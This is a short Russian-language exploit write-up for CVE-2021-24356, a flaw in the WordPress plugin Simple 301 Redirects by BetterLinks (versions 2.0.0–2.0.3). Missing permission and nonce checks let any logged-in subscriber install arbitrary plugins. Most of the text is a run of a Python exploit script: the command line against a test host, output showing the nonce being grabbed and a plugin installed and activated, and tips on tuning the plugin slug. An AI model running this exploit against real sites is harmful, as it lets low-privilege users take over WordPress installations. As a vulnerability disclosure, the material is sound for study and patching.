
Simple 301 Redirects от BetterLinks - 2.0.0 – 2.0.3 - Подписчик + Произвольная установка плагинов
Simple 301 Redirects от BetterLinks - 2.0.0 – 2.0.3 - Подписчик + Произвольная установка плагинов
Отсутствие проверок прав и недостаточная проверка nonce в AJAX-действии плагина позволили аутентифицированным пользователям устанавливать произвольные плагины на уязвимых сайтах.
$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}
Примечание: Некоторые плагины могут не активироваться, если не изменить переменную sluga на путь/файл.php, который является основным файлом плагина. В настоящее время работает очень хорошо, когда slug имеет вид betterlinks, а основной файл плагина называется betterlinks.php.